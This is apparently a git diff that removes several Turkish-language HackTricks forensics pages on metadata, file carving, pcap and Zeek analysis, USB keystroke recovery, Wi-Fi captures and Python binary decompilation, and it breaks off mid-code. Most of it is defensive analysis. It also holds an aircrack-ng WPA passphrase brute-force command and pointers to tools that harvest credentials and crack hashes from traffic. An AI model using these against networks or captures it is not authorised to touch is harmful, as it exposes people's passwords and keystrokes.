Bazı dosyalar meta veriler içerir. Bu bilgiler, dosyanın içeriği hakkında olup, bazen bir analist için ilginç olabilir; dosya türüne bağlı olarak, aşağıdaki gibi bilgiler içerebilir:
- Başlık
- Kullanılan MS Office Versiyonu
- Yazar
- Oluşturma ve son değiştirme tarihleri
- Kameranın modeli
- GPS koordinatları
- Görüntü bilgileri
Bir dosyanın meta verilerini almak için [**exiftool**](https://exiftool.org) ve [**Metadiver**](https://www.easymetadata.com/metadiver-2/) gibi araçları kullanabilirsiniz.
## **Silinmiş Dosyaların Kurtarılması**
### Günlük Kayıtlı Silinmiş Dosyalar
Daha önce görüldüğü gibi, bir dosya "silindikten" sonra hala kaydedilen birkaç yer vardır. Bunun nedeni, genellikle bir dosyanın dosya sisteminden silinmesinin sadece silindi olarak işaretlenmesidir; ancak veri dokunulmamıştır. Bu nedenle, dosyaların kayıtlarını (MFT gibi) incelemek ve silinmiş dosyaları bulmak mümkündür.
Ayrıca, işletim sistemi genellikle dosya sistemi değişiklikleri ve yedeklemeleri hakkında çok fazla bilgi kaydeder, bu nedenle dosyayı veya mümkün olduğunca fazla bilgiyi kurtarmak için bunları kullanmaya çalışmak mümkündür.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### **Dosya Oymacılığı**
**Dosya oymacılığı**, **veri yığınında dosyaları bulmaya çalışan** bir tekniktir. Bu tür araçların çalıştığı 3 ana yol vardır: **Dosya türü başlıkları ve alt başlıklarına dayalı**, dosya türü **yapılarına** dayalı ve **içerik**'e dayalı.
Bu tekniğin **parçalanmış dosyaları geri almak için çalışmadığını** unutmayın. Eğer bir dosya **bitişik sektörlerde depolanmamışsa**, bu teknik onu veya en azından bir kısmını bulamayacaktır.
Aradığınız dosya türlerini belirterek dosya oymacılığı için kullanabileceğiniz birkaç araç vardır.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Veri Akışı **C**arving
Veri Akışı Oymacılığı, Dosya Oymacılığına benzer, ancak **tam dosyalar aramak yerine, ilginç bilgi parçalarını arar**.\
Örneğin, günlük kaydedilmiş URL'leri içeren bir tam dosya aramak yerine, bu teknik URL'leri arayacaktır.
{{#ref}}
file-data-carving-recovery-tools.md
{{#endref}}
### Güvenli Silme
ıkça, dosyaları ve bunlarla ilgili günlüklerin bir kısmını **"güvenli" bir şekilde silmenin yolları vardır**. Örneğin, bir dosyanın içeriğini birkaç kez çöp verilerle **üst üste yazmak** ve ardından dosya ile ilgili **$MFT** ve **$LOGFILE**'dan **günlükleri kaldırmak** ve **Hacim Gölge Kopyalarını kaldırmak** mümkündür.\
Bu işlemi gerçekleştirirken, dosyanın varlığının hala **diğer parçalarda kaydedilmiş olabileceğini** fark edebilirsiniz; bu doğrudur ve adli bilişim uzmanının işi bunları bulmaktır.
## Referanslar
- [https://en.wikipedia.org/wiki/GUID_Partition_Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
- [http://ntfs.com/ntfs-permissions.htm](http://ntfs.com/ntfs-permissions.htm)
- [https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html](https://www.osforensics.com/faqs-and-tutorials/how-to-scan-ntfs-i30-entries-deleted-files.html)
- [https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service](https://docs.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service)
- **iHackLabs Sertifikalı Dijital Adli Bilişim Windows**
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,87 +0,0 @@
# File/Data Carving & Recovery Tools
{{#include ../../../banners/hacktricks-training.md}}
## Carving & Recovery tools
Daha fazla araç için [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
### Autopsy
Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. İndirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için tasarlanmadığını unutmayın.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk**, gömülü içeriği bulmak için ikili dosyaları analiz etmek için bir araçtır. `apt` ile kurulabilir ve kaynak kodu [GitHub](https://github.com/ReFirmLabs/binwalk)'ta bulunmaktadır.
**Kullanışlı komutlar**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
### Foremost
Başka bir yaygın araç, gizli dosyaları bulmak için **foremost**'tur. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbirinin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
### **Scalpel**
**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırından çıkarmanız gerekecektir.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
### Bulk Extractor
Bu araç kali içinde gelir ama burada bulabilirsiniz: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartır**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, mailler)** ve daha fazla **dosyayı** alır. Yapmanız gereken tek şey:
```
bulk_extractor memory.img -o out_folder
```
Tüm bilgileri (şifreler?) toplayan aracın üzerinden geçin, **analiz** edin, **paketleri** (okuyun [**Pcaps analizi**](../pcap-inspection/index.html)), **garip alan adları** arayın (kötü amaçlı yazılımlarla veya **var olmayan** alan adlarıyla ilgili).
### PhotoRec
Bunu [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) adresinde bulabilirsiniz.
GUI ve CLI sürümleri ile gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz.
![](<../../../images/image (524).png>)
### binvis
[Kod](https://code.google.com/archive/p/binvis/) ve [web sayfası aracı](https://binvis.io/#/) kontrol edin.
#### BinVis Özellikleri
- Görsel ve aktif **yapı görüntüleyici**
- Farklı odak noktaları için birden fazla grafik
- Bir örneğin bölümlerine odaklanma
- PE veya ELF yürütülebilir dosyalarda **dize ve kaynakları** görme
- Dosyalar üzerinde kriptoanaliz için **desenler** elde etme
- **Packer** veya kodlayıcı algoritmalarını **belirleme**
- Desenler ile Steganografi **tanımlama**
- **Görsel** ikili fark analizi
BinVis, bir kara kutu senaryosunda bilinmeyen bir hedefle tanışmak için harika bir **başlangıç noktasıdır**.
## Özel Veri Karıştırma Araçları
### FindAES
AES anahtarlarını anahtar programlarını arayarak bulur. TrueCrypt ve BitLocker gibi 128, 192 ve 256 bit anahtarları bulabilir.
[Buradan](https://sourceforge.net/projects/findaes/) indirin.
## Tamamlayıcı araçlar
Terminalden görüntüleri görmek için [**viu** ](https://github.com/atanunq/viu) kullanabilirsiniz.\
Bir pdf'yi metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext** kullanabilirsiniz.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,65 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
# Carving araçları
## Autopsy
Görüntülerden dosya çıkarmak için adli bilimlerde en yaygın kullanılan araç [**Autopsy**](https://www.autopsy.com/download/)'dir. Bunu indirin, kurun ve "gizli" dosyaları bulmak için dosyayı içe aktarmasını sağlayın. Autopsy'nin disk görüntüleri ve diğer türdeki görüntüleri desteklemek için tasarlandığını, ancak basit dosyalar için tasarlanmadığını unutmayın.
## Binwalk <a id="binwalk"></a>
**Binwalk**, gömülü dosyalar ve veriler için görüntüler ve ses dosyaları gibi ikili dosyaları aramak için bir araçtır. `apt` ile kurulabilir, ancak [kaynağı](https://github.com/ReFirmLabs/binwalk) github'da bulunabilir.
**Kullanışlı komutlar**:
```bash
sudo apt install binwalk #Insllation
binwalk file #Displays the embedded data in the given file
binwalk -e file #Displays and extracts some files from the given file
binwalk --dd ".*" file #Displays and extracts all files from the given file
```
## Foremost
Başka bir yaygın araç **foremost** ile gizli dosyaları bulmaktır. Foremost'un yapılandırma dosyasını `/etc/foremost.conf` içinde bulabilirsiniz. Eğer sadece belirli dosyaları aramak istiyorsanız, bunların yorumunu kaldırın. Eğer hiçbir şeyin yorumunu kaldırmazsanız, foremost varsayılan olarak yapılandırılmış dosya türlerini arayacaktır.
```bash
sudo apt-get install foremost
foremost -v -i file.img -o output
#Discovered files will appear inside the folder "output"
```
## **Scalpel**
**Scalpel**, bir dosya içinde gömülü **dosyaları** bulmak ve çıkarmak için kullanılabilecek bir diğer araçtır. Bu durumda, çıkarmak istediğiniz dosya türlerini yapılandırma dosyasından (_/etc/scalpel/scalpel.conf_) yorum satırından çıkarmanız gerekecektir.
```bash
sudo apt-get install scalpel
scalpel file.img -o output
```
## Bulk Extractor
Bu araç kali içinde gelir ama burada bulabilirsiniz: [https://github.com/simsong/bulk_extractor](https://github.com/simsong/bulk_extractor)
Bu araç bir görüntüyü tarayabilir ve içindeki **pcap'leri** **çıkartabilir**, **ağ bilgilerini (URL'ler, alan adları, IP'ler, MAC'ler, mailler)** ve daha fazla **dosyayı** alabilir. Yapmanız gereken tek şey:
```text
bulk_extractor memory.img -o out_folder
```
Tüm bilgileri gözden geçirin \(şifreler?\), **analiz** edin **paketleri** \(okuyun [ **Pcaps analizi**](../pcap-inspection/index.html)\), **garip alan adları** arayın \(**kötü amaçlı yazılım** ile ilgili veya **var olmayan** alan adları\).
## PhotoRec
Bunu [https://www.cgsecurity.org/wiki/TestDisk_Download](https://www.cgsecurity.org/wiki/TestDisk_Download) adresinde bulabilirsiniz.
GUI ve CLI sürümü ile gelir. PhotoRec'in aramasını istediğiniz **dosya türlerini** seçebilirsiniz.
![](../../../images/image%20%28524%29.png)
# Özel Veri Kazıma Araçları
## FindAES
Anahtar programlarını arayarak AES anahtarlarını arar. TrueCrypt ve BitLocker tarafından kullanılan 128, 192 ve 256 bit anahtarları bulabilir.
[Buradan](https://sourceforge.net/projects/findaes/) indirin.
# Tamamlayıcı araçlar
Terminalden görüntüleri görmek için [**viu** ](https://github.com/atanunq/viu) kullanabilirsiniz.
Bir pdf'yi metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext** kullanabilirsiniz.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,212 +0,0 @@
# Pcap İncelemesi
{{#include ../../../banners/hacktricks-training.md}}
> [!NOTE]
> **PCAP** ile **PCAPNG** hakkında bir not: PCAP dosya formatının iki versiyonu vardır; **PCAPNG daha yenidir ve tüm araçlar tarafından desteklenmez**. Bazı diğer araçlarla çalışabilmek için bir dosyayı PCAPNG'den PCAP'a dönüştürmeniz gerekebilir, bunu Wireshark veya başka bir uyumlu araçla yapabilirsiniz.
## Pcap'lar için Çevrimiçi Araçlar
- Pcap'ınızın başlığı **bozuksa** bunu **düzeltmeye** çalışmalısınız: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
- Bir pcap içindeki **bilgileri** çıkarın ve **kötü amaçlı yazılım** arayın [**PacketTotal**](https://packettotal.com)
- **Kötü niyetli etkinlik** aramak için [**www.virustotal.com**](https://www.virustotal.com) ve [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) kullanın
## Bilgi Çıkarma
Aşağıdaki araçlar istatistik, dosya vb. çıkarmak için faydalıdır.
### Wireshark
> [!NOTE]
> **Bir PCAP'ı analiz edecekseniz, temelde Wireshark'ı nasıl kullanacağınızı bilmelisiniz**
Wireshark ipuçlarını şurada bulabilirsiniz:
{{#ref}}
wireshark-tricks.md
{{#endref}}
### Xplico Framework
[**Xplico** ](https://github.com/xplico/xplico)_(sadece linux)_ bir **pcap'ı** **analiz edebilir** ve ondan bilgi çıkarabilir. Örneğin, bir pcap dosyasından Xplico, her e-postayı (POP, IMAP ve SMTP protokolleri), tüm HTTP içeriklerini, her VoIP çağrısını (SIP), FTP, TFTP vb. çıkarır.
**Kurulum**
```bash
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
sudo apt-get update
sudo apt-get install xplico
```
**Çalıştır**
```
/etc/init.d/apache2 restart
/etc/init.d/xplico start
```
_**127.0.0.1:9876**_ adresine _**xplico:xplico**_ kimlik bilgileriyle erişin.
Ardından **yeni bir vaka** oluşturun, vaka içinde **yeni bir oturum** oluşturun ve **pcap** dosyasını **yükleyin**.
### NetworkMiner
Xplico gibi, **pcap'lerden nesneleri analiz etmek ve çıkarmak** için bir araçtır. **Buradan** [**indirebileceğiniz**](https://www.netresec.com/?page=NetworkMiner) ücretsiz bir sürümü vardır. **Windows** ile çalışır.\
Bu araç, paketlerden **diğer analiz edilen bilgileri** almak için de faydalıdır, böylece ne olduğunu **daha hızlı** bir şekilde anlayabilirsiniz.
### NetWitness Investigator
[**NetWitness Investigator'ı buradan**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **indirebilirsiniz** **(Windows'ta çalışır)**.\
Bu, paketleri **analiz eden** ve bilgileri **içeride ne olduğunu bilmek için** faydalı bir şekilde sıralayan başka bir yararlı araçtır.
### [BruteShark](https://github.com/odedshimon/BruteShark)
- Kullanıcı adlarını ve şifreleri çıkarmak ve kodlamak (HTTP, FTP, Telnet, IMAP, SMTP...)
- Kimlik doğrulama hash'lerini çıkarmak ve Hashcat kullanarak kırmak (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
- Görsel bir ağ diyagramı oluşturmak (Ağ düğümleri ve kullanıcılar)
- DNS sorgularını çıkarmak
- Tüm TCP ve UDP oturumlarını yeniden oluşturmak
- Dosya Kesme
### Capinfos
```
capinfos capture.pcap
```
### Ngrep
Eğer pcap içinde **bir şey** **arıyorsanız** **ngrep** kullanabilirsiniz. İşte ana filtreleri kullanan bir örnek:
```bash
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
```
### Carving
Yaygın carving tekniklerini kullanmak, pcap'ten dosyaları ve bilgileri çıkarmak için faydalı olabilir:
{{#ref}}
../partitions-file-systems-carving/file-data-carving-recovery-tools.md
{{#endref}}
### Capturing credentials
Bir pcap veya canlı bir arayüzden kimlik bilgilerini ayrıştırmak için [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) gibi araçları kullanabilirsiniz.
## Check Exploits/Malware
### Suricata
**Kurulum ve ayarlama**
```
apt-get install suricata
apt-get install oinkmaster
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
```
**Pcap'ı Kontrol Et**
```
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
```
### YaraPcap
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) bir araçtır
- Bir PCAP Dosyasını okur ve Http Akışlarını çıkarır.
- gzip, sıkıştırılmış akışları açar
- Her dosyayı yara ile tarar
- report.txt dosyasını yazar
- İsteğe bağlı olarak eşleşen dosyaları bir Dizin'e kaydeder
### Kötü Amaçlı Yazılım Analizi
Bilinen bir kötü amaçlı yazılımın herhangi bir parmak izini bulup bulamayacağını kontrol edin:
{{#ref}}
../malware-analysis.md
{{#endref}}
## Zeek
> [Zeek](https://docs.zeek.org/en/master/about.html) pasif, açık kaynaklı bir ağ trafiği analizörüdür. Birçok operatör, şüpheli veya kötü niyetli etkinliklerin araştırmalarını desteklemek için Zeek'i Ağ Güvenliği İzleyicisi (NSM) olarak kullanır. Zeek ayrıca güvenlik alanının ötesinde, performans ölçümü ve sorun giderme dahil olmak üzere geniş bir trafik analizi görev yelpazesini destekler.
Temelde, `zeek` tarafından oluşturulan günlükler **pcap** değildir. Bu nedenle, **pcap'ler** hakkında **bilgi** içeren günlükleri analiz etmek için **diğer araçlar** kullanmanız gerekecektir.
### Bağlantılar Bilgisi
```bash
#Get info about longest connections (add "grep udp" to see only udp traffic)
#The longest connection might be of malware (constant reverse shell?)
cat conn.log | zeek-cut id.orig_h id.orig_p id.resp_h id.resp_p proto service duration | sort -nrk 7 | head -n 10
10.55.100.100 49778 65.52.108.225 443 tcp - 86222.365445
10.55.100.107 56099 111.221.29.113 443 tcp - 86220.126151
10.55.100.110 60168 40.77.229.82 443 tcp - 86160.119664
#Improve the metrics by summing up the total duration time for connections that have the same destination IP and Port.
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += $5 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
10.55.100.100 65.52.108.225 443 tcp 86222.4
10.55.100.107 111.221.29.113 443 tcp 86220.1
10.55.100.110 40.77.229.82 443 tcp 86160.1
#Get the number of connections summed up per each line
cat conn.log | zeek-cut id.orig_h id.resp_h duration | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2] += $3; count[$1 FS $2] += 1 } END{ for (key in arr) printf "%s%s%s%s%s\n", key, FS, count[key], FS, arr[key] }' | sort -nrk 4 | head -n 10
10.55.100.100 65.52.108.225 1 86222.4
10.55.100.107 111.221.29.113 1 86220.1
10.55.100.110 40.77.229.82 134 86160.1
#Check if any IP is connecting to 1.1.1.1
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto service | grep '1.1.1.1' | sort | uniq -c
#Get number of connections per source IP, dest IP and dest Port
cat conn.log | zeek-cut id.orig_h id.resp_h id.resp_p proto | awk 'BEGIN{ FS="\t" } { arr[$1 FS $2 FS $3 FS $4] += 1 } END{ for (key in arr) printf "%s%s%s\n", key, FS, arr[key] }' | sort -nrk 5 | head -n 10
# RITA
#Something similar can be done with the tool rita
rita show-long-connections -H --limit 10 zeek_logs
+---------------+----------------+--------------------------+----------------+
| SOURCE IP | DESTINATION IP | DSTPORT:PROTOCOL:SERVICE | DURATION |
+---------------+----------------+--------------------------+----------------+
| 10.55.100.100 | 65.52.108.225 | 443:tcp:- | 23h57m2.3655s |
| 10.55.100.107 | 111.221.29.113 | 443:tcp:- | 23h57m0.1262s |
| 10.55.100.110 | 40.77.229.82 | 443:tcp:- | 23h56m0.1197s |
#Get connections info from rita
rita show-beacons zeek_logs | head -n 10
Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top Intvl,Top Size,Top Intvl Count,Top Size Count,Intvl Skew,Size Skew,Intvl Dispersion,Size Dispersion
1,192.168.88.2,165.227.88.15,108858,197,860,182,1,89,53341,108319,0,0,0,0
1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0
0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0
```
### DNS bilgisi
```bash
#Get info about each DNS request performed
cat dns.log | zeek-cut -c id.orig_h query qtype_name answers
#Get the number of times each domain was requested and get the top 10
cat dns.log | zeek-cut query | sort | uniq | rev | cut -d '.' -f 1-2 | rev | sort | uniq -c | sort -nr | head -n 10
#Get all the IPs
cat dns.log | zeek-cut id.orig_h query | grep 'example\.com' | cut -f 1 | sort | uniq -c
#Sort the most common DNS record request (should be A)
cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr
#See top DNS domain requested with rita
rita show-exploded-dns -H --limit 10 zeek_logs
```
## Diğer pcap analiz ipuçları
{{#ref}}
dnscat-exfiltration.md
{{#endref}}
{{#ref}}
wifi-pcap-analysis.md
{{#endref}}
{{#ref}}
usb-keystrokes.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,14 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Eğer birçok kesinti ile birlikte bir USB bağlantısının pcap'ine sahipseniz, muhtemelen bu bir USB Klavye bağlantısıdır.
Bunun gibi bir wireshark filtresi faydalı olabilir: `usb.transfer_type == 0x01 and frame.len == 35 and !(usb.capdata == 00:00:00:00:00:00:00:00)`
"02" ile başlayan verilerin shift tuşu kullanılarak basıldığını bilmek önemli olabilir.
Bununla ilgili daha fazla bilgi okuyabilir ve analiz etme hakkında bazı scriptler bulabilirsiniz:
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,17 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
Eğer aşağıdaki gibi bir klavyenin USB üzerinden iletişimini içeren bir pcap dosyanız varsa:
![](<../../../images/image (613).png>)
İletişimde yazılanları almak için [**ctf-usb-keyboard-parser**](https://github.com/carlospolop-forks/ctf-usb-keyboard-parser) aracını kullanabilirsiniz:
```bash
tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt
python3 usbkeyboard.py ./keystrokes.txt
```
Daha fazla bilgi okuyabilir ve bunu analiz etme hakkında bazı betikler bulabilirsiniz:
- [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4)
- [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,39 +0,0 @@
{{#include ../../../banners/hacktricks-training.md}}
# BSSID'leri Kontrol Et
WireShark kullanarak ana trafiği Wifi olan bir yakalama aldığınızda, _Wireless --> WLAN Traffic_ ile yakalamadaki tüm SSID'leri araştırmaya başlayabilirsiniz:
![](<../../../images/image (424).png>)
![](<../../../images/image (425).png>)
## Kaba Kuvvet
O ekranın sütunlarından biri **pcap içinde herhangi bir kimlik doğrulama bulunup bulunmadığını** gösterir. Eğer durum böyleyse, `aircrack-ng` kullanarak kaba kuvvet denemesi yapabilirsiniz:
```bash
aircrack-ng -w pwds-file.txt -b <BSSID> file.pcap
```
Örneğin, daha sonra trafiği şifrelemek için gerekli olan bir PSK (önceden paylaşılan anahtar) koruyan WPA parolasını alacaktır.
# Beacon'larda / Yan Kanalda Veri
Eğer **bir Wifi ağının beacon'larında verinin sızdırıldığını düşünüyorsanız**, ağın beacon'larını aşağıdaki gibi bir filtre kullanarak kontrol edebilirsiniz: `wlan contains <NAMEofNETWORK>`, veya `wlan.ssid == "NAMEofNETWORK"` filtrelenmiş paketler içinde şüpheli dizeleri arayın.
# Bir Wifi Ağında Bilinmeyen MAC Adreslerini Bulma
Aşağıdaki bağlantı, **bir Wifi Ağı içinde veri gönderen makineleri bulmak için** faydalı olacaktır:
- `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2`
Eğer **MAC adreslerini zaten biliyorsanız, bunları çıktılardan çıkarabilirsiniz** bu gibi kontroller ekleyerek: `&& !(wlan.addr==5c:51:88:31:a0:3b)`
Ağ içinde iletişim kuran **bilinmeyen MAC** adreslerini tespit ettikten sonra, trafiğini filtrelemek için **filtreler** kullanabilirsiniz: `wlan.addr==<MAC address> && (ftp || http || ssh || telnet)`. ftp/http/ssh/telnet filtrelerinin, trafiği şifrelediyseniz faydalı olduğunu unutmayın.
# Trafiği Şifre Çözme
Düzenle --> Tercihler --> Protokoller --> IEEE 802.11--> Düzenle
![](<../../../images/image (426).png>)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,202 +0,0 @@
# Derlenmiş python ikili dosyalarını decompile et (exe, elf) - .pyc'den al
{{#include ../../../banners/hacktricks-training.md}}
## Derlenmiş İkili Dosyadan .pyc'ye
Bir **ELF** derlenmiş ikili dosyasından **.pyc'yi** alabilirsiniz:
```bash
pyi-archive_viewer <binary>
# The list of python modules will be given here:
[(0, 230, 311, 1, 'm', 'struct'),
(230, 1061, 1792, 1, 'm', 'pyimod01_os_path'),
(1291, 4071, 8907, 1, 'm', 'pyimod02_archive'),
(5362, 5609, 13152, 1, 'm', 'pyimod03_importers'),
(10971, 1473, 3468, 1, 'm', 'pyimod04_ctypes'),
(12444, 816, 1372, 1, 's', 'pyiboot01_bootstrap'),
(13260, 696, 1053, 1, 's', 'pyi_rth_pkgutil'),
(13956, 1134, 2075, 1, 's', 'pyi_rth_multiprocessing'),
(15090, 445, 672, 1, 's', 'pyi_rth_inspect'),
(15535, 2514, 4421, 1, 's', 'binary_name'),
...
? X binary_name
to filename? /tmp/binary.pyc
```
Bir **python exe ikili** dosyasında **.pyc** dosyasını almak için şunu çalıştırabilirsiniz:
```bash
python pyinstxtractor.py executable.exe
```
## .pyc'den python koduna
**.pyc** verisi ("derlenmiş" python) için **orijinal** **python** **kodunu** **çıkarmaya** **çalışmaya** başlamalısınız:
```bash
uncompyle6 binary.pyc > decompiled.py
```
**Kesin olun** ki, ikili dosyanın **uzantısı** "**.pyc**"dir (değilse, uncompyle6 çalışmayacaktır)
**uncompyle6** çalıştırırken **aşağıdaki hatalarla** karşılaşabilirsiniz:
### Hata: Bilinmeyen sihirli sayı 227
```bash
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
Unknown magic number 227 in /tmp/binary.pyc
```
Bunu düzeltmek için **oluşturulan dosyanın başına doğru sihirli numarayı eklemeniz** gerekiyor.
**Sihirli numaralar python sürümüne göre değişir**, **python 3.8**'in sihirli numarasını almak için **bir python 3.8** terminali açmalı ve şunu çalıştırmalısınız:
```
>> import imp
>> imp.get_magic().hex()
'550d0d0a'
```
Bu durumda python3.8 için **magic number** **`0x550d0d0a`**'dır, ardından bu hatayı düzeltmek için **.pyc dosyasının** **başına** aşağıdaki baytları **eklemeniz** gerekecek: `0x0d550a0d000000000000000000000000`
**Oluşturduğunuzda** bu magic başlığı **eklenmiş** olmalıdır, **hata düzeltilmiş olmalıdır.**
Doğru bir şekilde eklenmiş **.pyc python3.8 magic header** şu şekilde görünecektir:
```bash
hexdump 'binary.pyc' | head
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
0000010 00e3 0000 0000 0000 0000 0000 0000 0000
0000020 0700 0000 4000 0000 7300 0132 0000 0064
0000030 0164 006c 005a 0064 0164 016c 015a 0064
```
### Hata: Genel hataların dekompile edilmesi
**Diğer hatalar** şunlar gibi: `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` görünebilir.
Bu muhtemelen **büyülü numarayı doğru eklemediğiniz** veya **doğru büyülü numarayı kullanmadığınız** anlamına gelir, bu yüzden **doğru olanı kullandığınızdan emin olun** (veya yeni bir tane deneyin).
Önceki hata belgelerini kontrol edin.
## Otomatik Araç
[**python-exe-unpacker aracı**](https://github.com/countercept/python-exe-unpacker), Python ile yazılmış yürütülebilir dosyaları, özellikle py2exe ve pyinstaller ile oluşturulanları açma ve dekompile etme konusunda araştırmacılara yardımcı olmak için tasarlanmış birkaç toplulukta mevcut aracın bir kombinasyonu olarak hizmet eder. Python tabanlı bir yürütülebilir dosyanın tanımlanması için YARA kuralları içerir ve oluşturma aracını doğrular.
### ImportError: Dosya adı: 'unpacked/malware_3.exe/**pycache**/archive.cpython-35.pyc' mevcut değil
Karşılaşılan yaygın bir sorun, **unpy2exe veya pyinstxtractor ile açma işlemi sonucunda** oluşan eksik bir Python bayt kodu dosyasıdır; bu dosya daha sonra **eksik bir Python bayt kodu sürüm numarası nedeniyle uncompyle6 tarafından tanınmamaktadır**. Bunu çözmek için, gerekli Python bayt kodu sürüm numarasını ekleyen bir ön ek seçeneği eklenmiştir, bu da dekompile etme sürecini kolaylaştırır.
Sorunun örneği:
```python
# Error when attempting to decompile without the prepend option
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
Traceback (most recent call last):
...
ImportError: File name: 'unpacked/malware_3.exe/__pycache__/archive.cpython-35.pyc' doesn't exist
```
```python
# Successful decompilation after using the prepend option
test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
[*] On Python 2.7
[+] Magic bytes are already appended.
# Successfully decompiled file
[+] Successfully decompiled.
```
## Python montajını analiz etme
Eğer önceki adımları takip ederek python "orijinal" kodunu çıkaramadıysanız, o zaman **montajı** **çıkarma**yı deneyebilirsiniz (ama **çok açıklayıcı değil**, bu yüzden **orijinal kodu** **tekrar** çıkarmayı deneyin). [Burada](https://bits.theorem.co/protecting-a-python-codebase/) _.pyc_ ikili dosyasını **dağıtmak** için çok basit bir kod buldum (kod akışını anlamakta iyi şanslar). Eğer _.pyc_ python2'den ise, python2 kullanın:
```bash
>>> import dis
>>> import marshal
>>> import struct
>>> import imp
>>>
>>> with open('hello.pyc', 'r') as f: # Read the binary file
... magic = f.read(4)
... timestamp = f.read(4)
... code = f.read()
...
>>>
>>> # Unpack the structured content and un-marshal the code
>>> magic = struct.unpack('<H', magic[:2])
